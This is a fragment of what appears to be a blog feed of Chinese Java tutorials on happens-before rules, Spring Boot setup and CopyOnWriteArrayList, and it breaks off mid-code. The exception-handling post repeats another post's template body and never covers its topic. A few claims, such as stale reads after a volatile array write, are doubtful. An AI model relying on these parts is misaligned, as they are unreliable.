class="comment">// 线程A</span></span><br><span class="line">x = <span class="number">1</span>;          <span class="comment">// volatile写</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 线程B</span></span><br><span class="line"><span class="type">int</span> <span class="variable">y</span> <span class="operator">=</span> x;      <span class="comment">// volatile读，保证看到x=1</span></span><br></pre></td></tr></table></figure><h3 id="4-线程启动规则"><a href="#4-线程启动规则" class="headerlink" title="4. 线程启动规则"></a>4. 线程启动规则</h3><p><code>Thread.start()</code> happens-before 线程内的所有操作。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="variable">x</span> <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"><span class="type">Thread</span> <span class="variable">t</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">y</span> <span class="operator">=</span> x;  <span class="comment">// 保证看到x=1</span></span><br><span class="line">&#125;);</span><br><span class="line">t.start();</span><br></pre></td></tr></table></figure><h3 id="5-线程终止规则"><a href="#5-线程终止规则" class="headerlink" title="5. 线程终止规则"></a>5. 线程终止规则</h3><p>线程内的所有操作 happens-before 检测到线程终止。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Thread</span> <span class="variable">t</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">    x = <span class="number">1</span>;      <span class="comment">// 线程内操作</span></span><br><span class="line">&#125;);</span><br><span class="line">t.start();</span><br><span class="line">t.join();       <span class="comment">// 等待线程结束</span></span><br><span class="line"><span class="type">int</span> <span class="variable">y</span> <span class="operator">=</span> x;      <span class="comment">// 保证看到x=1</span></span><br></pre></td></tr></table></figure><h3 id="6-中断规则"><a href="#6-中断规则" class="headerlink" title="6. 中断规则"></a>6. 中断规则</h3><p><code>interrupt()</code> happens-before 检测到中断。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">thread.interrupt();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 线程内</span></span><br><span class="line"><span class="keyword">if</span> (Thread.interrupted()) &#123;</span><br><span class="line">    <span class="comment">// 能检测到中断</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="7-对象终结规则"><a href="#7-对象终结规则" class="headerlink" title="7. 对象终结规则"></a>7. 对象终结规则</h3><p>构造函数执行 happens-before <code>finalize()</code>。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Resource</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">int</span> value;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Resource</span><span class="params">(<span class="type">int</span> v)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.value = v;  <span class="comment">// happens-before finalize()</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">finalize</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(value);  <span class="comment">// 保证看到正确值</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="8-传递性"><a href="#8-传递性" class="headerlink" title="8. 传递性"></a>8. 传递性</h3><p>如果 A happens-before B，B happens-before C，那么 A happens-before C。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">volatile</span> <span class="type">int</span> x;</span><br><span class="line"><span class="type">int</span> y;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 线程A</span></span><br><span class="line">y = <span class="number">1</span>;          <span class="comment">// (1)</span></span><br><span class="line">x = <span class="number">2</span>;          <span class="comment">// (2) volatile写</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 线程B</span></span><br><span class="line"><span class="type">int</span> <span class="variable">a</span> <span class="operator">=</span> x;      <span class="comment">// (3) volatile读，看到x=2</span></span><br><span class="line"><span class="type">int</span> <span class="variable">b</span> <span class="operator">=</span> y;      <span class="comment">// (4) 由于(1)hb(2), (2)hb(3), 所以(1)hb(4)，看到y=1</span></span><br></pre></td></tr></table></figure><h2 id="as-if-serial-语义"><a href="#as-if-serial-语义" class="headerlink" title="as-if-serial 语义"></a>as-if-serial 语义</h2><p>单线程程序的执行结果必须与按程序顺序执行的结果一致，编译器和处理器可以进行不影响单线程结果的优化。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="variable">a</span> <span class="operator">=</span> <span class="number">1</span>;      <span class="comment">// (1)</span></span><br><span class="line"><span class="type">int</span> <span class="variable">b</span> <span class="operator">=</span> <span class="number">2</span>;      <span class="comment">// (2)</span></span><br><span class="line"><span class="type">int</span> <span class="variable">c</span> <span class="operator">=</span> a + b;  <span class="comment">// (3)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// (1)和(2)可以重排序，因为(3)依赖它们</span></span><br><span class="line"><span class="comment">// 但(3)不能重排序到(1)或(2)之前</span></span><br></pre></td></tr></table></figure><h2 id="重排序的类型"><a href="#重排序的类型" class="headerlink" title="重排序的类型"></a>重排序的类型</h2><h3 id="1-编译器重排序"><a href="#1-编译器重排序" class="headerlink" title="1. 编译器重排序"></a>1. 编译器重排序</h3><p>编译器在不改变单线程语义的前提下调整指令顺序。</p><h3 id="2-指令级并行重排序"><a href="#2-指令级并行重排序" class="headerlink" title="2. 指令级并行重排序"></a>2. 指令级并行重排序</h3><p>处理器利用指令级并行技术改变指令执行顺序。</p><h3 id="3-内存系统重排序"><a href="#3-内存系统重排序" class="headerlink" title="3. 内存系统重排序"></a>3. 内存系统重排序</h3><p>由于缓存和缓冲，存储操作看起来是按不同的顺序完成的。</p><h2 id="内存屏障"><a href="#内存屏障" class="headerlink" title="内存屏障"></a>内存屏障</h2><p>JMM 通过内存屏障限制重排序：</p><table><thead><tr><th>屏障类型</th><th>示例</th><th>作用</th></tr></thead><tbody><tr><td>LoadLoad</td><td>Load1; LoadLoad; Load2</td><td>禁止Load1和Load2重排序</td></tr><tr><td>StoreStore</td><td>Store1; StoreStore; Store2</td><td>Store1必须在Store2之前</td></tr><tr><td>LoadStore</td><td>Load1; LoadStore; Store2</td><td>Load1必须在Store2之前</td></tr><tr><td>StoreLoad</td><td>Store1; StoreLoad; Load2</td><td>Store1必须在Load2之前，全能屏障</td></tr></tbody></table><h3 id="volatile-的内存屏障"><a href="#volatile-的内存屏障" class="headerlink" title="volatile 的内存屏障"></a>volatile 的内存屏障</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// volatile写</span></span><br><span class="line">StoreStore屏障  <span class="comment">// 前面的普通写不能重排序到后面</span></span><br><span class="line">write <span class="keyword">volatile</span></span><br><span class="line">StoreLoad屏障   <span class="comment">// 防止volatile写与后面的读重排序</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// volatile读</span></span><br><span class="line">LoadLoad屏障    <span class="comment">// 防止后面的普通读重排序到前面</span></span><br><span class="line">LoadStore屏障   <span class="comment">// 防止后面的普通写重排序到前面</span></span><br><span class="line">read <span class="keyword">volatile</span></span><br></pre></td></tr></table></figure><h2 id="双重检查锁定的正确实现"><a href="#双重检查锁定的正确实现" class="headerlink" title="双重检查锁定的正确实现"></a>双重检查锁定的正确实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Singleton</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">volatile</span> Singleton instance;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Singleton <span class="title function_">getInstance</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (instance == <span class="literal">null</span>) &#123;                    <span class="comment">// (1)</span></span><br><span class="line">            <span class="keyword">synchronized</span> (Singleton.class) &#123;</span><br><span class="line">                <span class="keyword">if</span> (instance == <span class="literal">null</span>) &#123;</span><br><span class="line">                    instance = <span class="keyword">new</span> <span class="title class_">Singleton</span>();    <span class="comment">// (2) volatile写</span></span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> instance;                           <span class="comment">// (3) volatile读</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>为什么需要 volatile？</strong></p><p><code>new Singleton()</code> 分三步：</p><ol><li>分配内存</li><li>初始化对象</li><li>赋值给引用</li></ol><p>步骤 2 和 3 可能重排序。没有 volatile：</p><ul><li>线程 A 执行到 3 但未完成 2</li><li>线程 B 在 (1) 看到非 null，返回未初始化的对象</li></ul><p>volatile 禁止了这种重排序，保证线程安全。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>JMM 通过 Happens-Before 规则定义了内存可见性的保证：</p><ol><li><strong>无需同步</strong>：单线程内的 happens-before 关系自然成立</li><li><strong>synchronized/volatile</strong>：显式建立 happens-before</li><li><strong>线程启动/终止</strong>：Thread 类的方法隐式建立 happens-before</li></ol><p>理解 JMM 和 happens-before，是写出正确并发代码的理论基础。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 统一异常处理实践</title>
      <link href="//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/"/>
      <url>//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-统一异常处理实践"><a href="#Spring-Boot-统一异常处理实践" class="headerlink" title="Spring Boot 统一异常处理实践"></a>Spring Boot 统一异常处理实践</h1><p>Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 配置分环境的标准做法</title>
      <link href="//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/"/>
      <url>//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-配置分环境的标准做法"><a href="#Spring-Boot-配置分环境的标准做法" class="headerlink" title="Spring Boot 配置分环境的标准做法"></a>Spring Boot 配置分环境的标准做法</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CopyOnWriteArrayList适合什么场景</title>
      <link href="//copyonwritearraylist-gua-he-shi-me-chang-jing/"/>
      <url>//copyonwritearraylist-gua-he-shi-me-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="CopyOnWriteArrayList适合什么场景"><a href="#CopyOnWriteArrayList适合什么场景" class="headerlink" title="CopyOnWriteArrayList适合什么场景"></a>CopyOnWriteArrayList适合什么场景</h1><p><code>CopyOnWriteArrayList</code> 是 Java 并发包提供的线程安全 List 实现，采用读写分离的乐观锁策略。本文分析其原理和适用场景。</p><h2 id="核心思想"><a href="#核心思想" class="headerlink" title="核心思想"></a>核心思想</h2><p><strong>写时复制（Copy-On-Write）</strong>：读操作不加锁，写操作复制一份新数组进行修改。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">add</span><span class="params">(E e)</span> &#123;</span><br><span class="line">    <span class="keyword">final</span> <span class="type">ReentrantLock</span> <span class="variable">lock</span> <span class="operator">=</span> <span class="built_in">this</span>.lock;</span><br><span class="line">    lock.lock();</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        Object[] elements = getArray();</span><br><span class="line">        <span class="type">int</span> <span class="variable">len</span> <span class="operator">=</span> elements.length;</span><br><span class="line">        Object[] newElements = Arrays.copyOf(elements, len + <span class="number">1</span>);</span><br><span class="line">        newElements[len] = e;</span><br><span class="line">        setArray(newElements);  <span class="comment">// volatile写，保证可见性</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        lock.unlock();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> E <span class="title function_">get</span><span class="params">(<span class="type">int</span> index)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> get(getArray(), index);  <span class="comment">// 无锁读</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="源码分析"><a href="#源码分析" class="headerlink" title="源码分析"></a>源码分析</h2><h3 id="数据结构"><a href="#数据结构" class="headerlink" title="数据结构"></a>数据结构</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;E&gt; &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">transient</span> <span class="keyword">volatile</span> Object[] array;  <span class="comment">// volatile保证可见性</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">final</span> Object[] getArray() &#123;</span><br><span class="line">        <span class="keyword">return</span> array;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">final</span> <span class="keyword">void</span> <span class="title function_">setArray</span><span class="params">(Object[] a)</span> &#123;</span><br><span class="line">        array = a;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="迭代器（快照迭代）"><a href="#迭代器（快照迭代）" class="headerlink" title="迭代器（快照迭代）"></a>迭代器（快照迭代）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> Iterator&lt;E&gt; <span class="title function_">iterator</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">COWIterator</span>&lt;E&gt;(getArray(), <span class="number">0</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">COWIterator</span>&lt;E&gt; <span class="keyword">implements</span> <span class="title class_">ListIterator</span>&lt;E&gt; &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Object[] snapshot;  <span class="comment">// 创建迭代器时的数组快照</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> cursor;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> E <span class="title function_">next</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (! hasNext()) <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">NoSuchElementException</span>();</span><br><span class="line">        <span class="keyword">return</span> (E) snapshot[cursor++];</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 不支持修改</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">remove</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UnsupportedOperationException</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>关键特性</strong>：迭代器创建后，即使原列表被修改，迭代器仍然基于创建时的快照遍历。</p><h2 id="与-SynchronizedList-对比"><a href="#与-SynchronizedList-对比" class="headerlink" title="与 SynchronizedList 对比"></a>与 SynchronizedList 对比</h2><table><thead><tr><th>特性</th><th>CopyOnWriteArrayList</th><th>Collections.synchronizedList</th></tr></thead><tbody><tr><td>读性能</td><td>极高（无锁）</td><td>一般（需获取锁）</td></tr><tr><td>写性能</td><td>差（复制整个数组）</td><td>一般</td></tr><tr><td>内存占用</td><td>写操作时翻倍</td><td>正常</td></tr><tr><td>数据一致性</td><td>弱一致性</td><td>强一致性</td></tr><tr><td>迭代器</td><td>快照，不抛异常</td><td>快速失败，可能抛异常</td></tr></tbody></table><h2 id="适用场景"><a href="#适用场景" class="headerlink" title="适用场景"></a>适用场景</h2><h3 id="1-读多写少"><a href="#1-读多写少" class="headerlink" title="1. 读多写少"></a>1. 读多写少</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ConfigManager</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> CopyOnWriteArrayList&lt;ConfigListener&gt; listeners = </span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 注册监听器（写操作，很少发生）</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addListener</span><span class="params">(ConfigListener listener)</span> &#123;</span><br><span class="line">        listeners.add(listener);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 通知监听器（读操作，频繁发生）</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">notifyListeners</span><span class="params">(ConfigChangeEvent event)</span> &#123;</span><br><span class="line">        <span class="keyword">for</span> (ConfigListener listener : listeners) &#123;  <span class="comment">// 无锁遍历</span></span><br><span class="line">            listener.onConfigChange(event);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-事件监听器列表"><a href="#2-事件监听器列表" class="headerlink" title="2. 事件监听器列表"></a>2. 事件监听器列表</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Button</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> CopyOnWriteArrayList&lt;ActionListener&gt; listeners = </span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addActionListener</span><span class="params">(ActionListener l)</span> &#123;</span><br><span class="line">        listeners.add(l);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">click</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">ActionEvent</span> <span class="variable">event</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ActionEvent</span>(<span class="built_in">this</span>);</span><br><span class="line">        <span class="keyword">for</span> (ActionListener l : listeners) &#123;</span><br><span class="line">            l.actionPerformed(event);  <span class="comment">// 遍历时可以安全地添加/移除监听器</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-配置项缓存"><a href="#3-配置项缓存" class="headerlink" title="3. 配置项缓存"></a>3. 配置项缓存</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Blacklist</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> CopyOnWriteArrayList&lt;String&gt; ips = </span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 定时从数据库加载（低频写）</span></span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 60000)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">refresh</span><span class="params">()</span> &#123;</span><br><span class="line">        List&lt;String&gt; newIps = loadFromDB();</span><br><span class="line">        ips.clear();</span><br><span class="line">        ips.addAll(newIps);  <span class="comment">// 注意：这里效率不高</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 高频读</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isBlocked</span><span class="params">(String ip)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> ips.contains(ip);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="不适用场景"><a href="#不适用场景" class="headerlink" title="不适用场景"></a>不适用场景</h2><h3 id="1-写操作频繁"><a href="#1-写操作频繁" class="headerlink" title="1. 写操作频繁"></a>1. 写操作频繁</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误！每次写都复制数组，性能极差</span></span><br><span class="line">CopyOnWriteArrayList&lt;String&gt; list = <span class="keyword">new</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;&gt;();</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">10000</span>; i++) &#123;</span><br><span class="line">    list.add(<span class="string">&quot;item&quot;</span> + i);  <span class="comment">// O(n) 每次！</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-内存敏感"><a href="#2-内存敏感" class="headerlink" title="2. 内存敏感"></a>2. 内存敏感</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误！大列表复制时内存翻倍</span></span><br><span class="line">CopyOnWriteArrayList&lt;<span class="type">byte</span>[]&gt; largeList = <span class="keyword">new</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;&gt;();</span><br></pre></td></tr></table></figure><h3 id="3-需要强一致性"><a href="#3-需要强一致性" class="headerlink" title="3. 需要强一致性"></a>3. 需要强一致性</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误！读可能读到旧数据</span></span><br><span class="line">CopyOnWriteArrayList&lt;Integer&gt; list = <span class="keyword">new</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;&gt;();</span><br><span class="line">list.add(<span class="number">1</span>);</span><br><span class="line"><span class="comment">// 其他线程可能暂时读不到1</span></span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><h3 id="1-初始化容量"><a href="#1-初始化容量" class="headerlink" title="1. 初始化容量"></a>1. 初始化容量</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 如果预知大致大小，可以减少扩容复制</span></span><br><span class="line">CopyOnWriteArrayList&lt;String&gt; list = <span class="keyword">new</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;&gt;();</span><br></pre></td></tr></table></figure><p>注意：CopyOnWriteArrayList 没有指定初始容量的构造函数，因为写操作总是复制。</p><h3 id="2-批量添加优化"><a href="#2-批量添加优化" class="headerlink" title="2. 批量添加优化"></a>2. 批量添加优化</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 差：多次复制</span></span><br><span class="line"><span class="keyword">for</span> (String item : items) &#123;</span><br><span class="line">    list.add(item);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 好：先构建数组，一次性替换（需要自定义）</span></span><br></pre></td></tr></table></figure><h3 id="3-使用-Set-去重版本"><a href="#3-使用-Set-去重版本" class="headerlink" title="3. 使用 Set 去重版本"></a>3. 使用 Set 去重版本</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// CopyOnWriteArraySet 基于 CopyOnWriteArrayList</span></span><br><span class="line">CopyOnWriteArraySet&lt;String&gt; set = <span class="keyword">new</span> <span class="title class_">CopyOnWriteArraySet</span>&lt;&gt;();</span><br></pre></td></tr></table></figure><h2 id="性能测试"><a href="#性能测试" class="headerlink" title="性能测试"></a>性能测试</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PerformanceTest</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">readCount</span> <span class="operator">=</span> <span class="number">1000000</span>;</span><br><span class="line">        <span class="type">int</span> <span class="variable">writeCount</span> <span class="operator">=</span> <span class="number">100</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// CopyOnWriteArrayList：读快，写慢</span></span><br><span class="line">        testCopyOnWrite(readCount, writeCount);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// synchronizedList：读写均衡</span></span><br><span class="line">        